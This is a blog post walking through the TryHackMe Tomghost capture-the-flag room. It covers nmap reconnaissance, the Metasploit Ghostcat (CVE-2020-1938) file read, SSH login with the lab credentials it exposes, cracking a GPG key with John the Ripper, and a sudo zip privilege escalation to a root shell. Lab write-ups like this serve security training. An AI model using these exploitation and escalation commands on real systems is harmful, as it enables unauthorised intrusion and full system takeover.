DEV Community

Cover image for Comprehensive Walkthrough Guide for TryHackMe Room: Tomghost
Mohammad ali
Mohammad ali

Posted on

Comprehensive Walkthrough Guide for TryHackMe Room: Tomghost

#ai #webdev #programming #productivity

The Tomghost room on TryHackMe is an excellent practical challenge that covers multiple stages of penetration testing, ranging from reconnaissance and service scanning to vulnerability exploitation and privilege escalation. Below is a complete step-by-step technical guide based on the workflow.

1. Reconnaissance and Scanning

The process begins by scanning the target IP address using Nmap to identify open ports and active services. The scan results show:

nmap -sV -sC (your ip)
Enter fullscreen mode Exit fullscreen mode

  • Port 22/tcp is open for SSH (OpenSSH 7.2p2).

  • Port 53/tcp runs tcpwrapped.

  • Port 8009/tcp is open for AJP13 (Apache JServ Protocol).

  • Port 8080/tcp is open for Apache Tomcat 9.0.30.

2. Exploiting the Ghostcat Vulnerability (CVE-2020-1938)

Due to the presence of the AJP protocol on port 8009 and a compatible Tomcat version, the famous Ghostcat vulnerability allows file reading from the server:

msfconsol
Enter fullscreen mode Exit fullscreen mode
  • Launching the Metasploit framework and searching for the AJP file read exploit module auxiliary/admin/http/tomcat_ghostcat. 
msf> search port:8009
Enter fullscreen mode Exit fullscreen mode

  • Setting the module options and targeting the default file /WEB-INF/web.xml.

  • Running the module successfully reveals the contents of the file, including the username skyfuck and password 8730281lkjlkjdqlksalks.


username : skyfuck 
password : 8730281lkjlkjdqlksalks
Enter fullscreen mode Exit fullscreen mode

3. Initial Access via SSH and Exploration

Using the credentials found inside the web.xml file, an SSH connection is established to access the system:

ssh skyfuck@(your ip)
Enter fullscreen mode Exit fullscreen mode 
password : 8730281lkjlkjdqlksalks
Enter fullscreen mode Exit fullscreen mode

  • Navigating through directories, user.txt is located inside /home/merlin.

  • Two critical files are discovered: a GPG private key block named tryhackme.asc and an encrypted credential file named credential.pgp.

user.txt
THM{......................}

cat tryhackme.asc
Enter fullscreen mode Exit fullscreen mode

4. Cracking the GPG Key with John the Ripper

To read the encrypted credentials, the GPG private key must be cracked first:


nano 99.esc
Enter fullscreen mode Exit fullscreen mode
  • Converting the GPG key into a hash format readable by John the Ripper using gpg2john 99.asc > 99.txt. 
gpg2john 99.asc > 99.txt
Enter fullscreen mode Exit fullscreen mode

  • Running John the Ripper with the popular rockyou.txt wordlist: 
john 99.txt --wordlist=/usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

  • The tool successfully cracks the password, revealing it to be alexandru.

5. Decrypting Credentials and Switching Users

With the GPG passphrase recovered:

  • The GPG key is imported using the command gpg --import tryhackme.asc. 
gpg --import tryhackme.asc
Enter fullscreen mode Exit fullscreen mode

  • The encrypted credential file is decrypted using gpg --decrypt credential.pgp by entering the passphrase alexandru. 
gpg --decrypt credential.pgp
Enter fullscreen mode Exit fullscreen mode


password : alexandru

  • This process reveals the credentials for the user merlin. 
su merlin
Enter fullscreen mode Exit fullscreen mode 
password : asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
Enter fullscreen mode Exit fullscreen mode 


username : merlin 
password : asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
Enter fullscreen mode Exit fullscreen mode

6. Privilege Escalation to Root

After logging in as the user merlin:

  • Checking sudo privileges with sudo -l shows that the user is allowed to run the /usr/bin/zip utility as root without a password (NOPASSWD). 
sudo -l
Enter fullscreen mode Exit fullscreen mode

  • Exploiting this misconfiguration using the GTFOBins technique for zip: 
TF=$(mktemp -u)
Enter fullscreen mode Exit fullscreen mode 
sudo zip $TF /etc/hosts -T -TT 'sh #'
Enter fullscreen mode Exit fullscreen mode

  • This successfully bypasses restrictions and spawns an interactive shell with full root privileges (uid=0(root)).

  • Finally, navigating to the /root directory and reading root.txt retrieves the final flag to complete the room.

root.txt
THM{......................}

Top comments (0)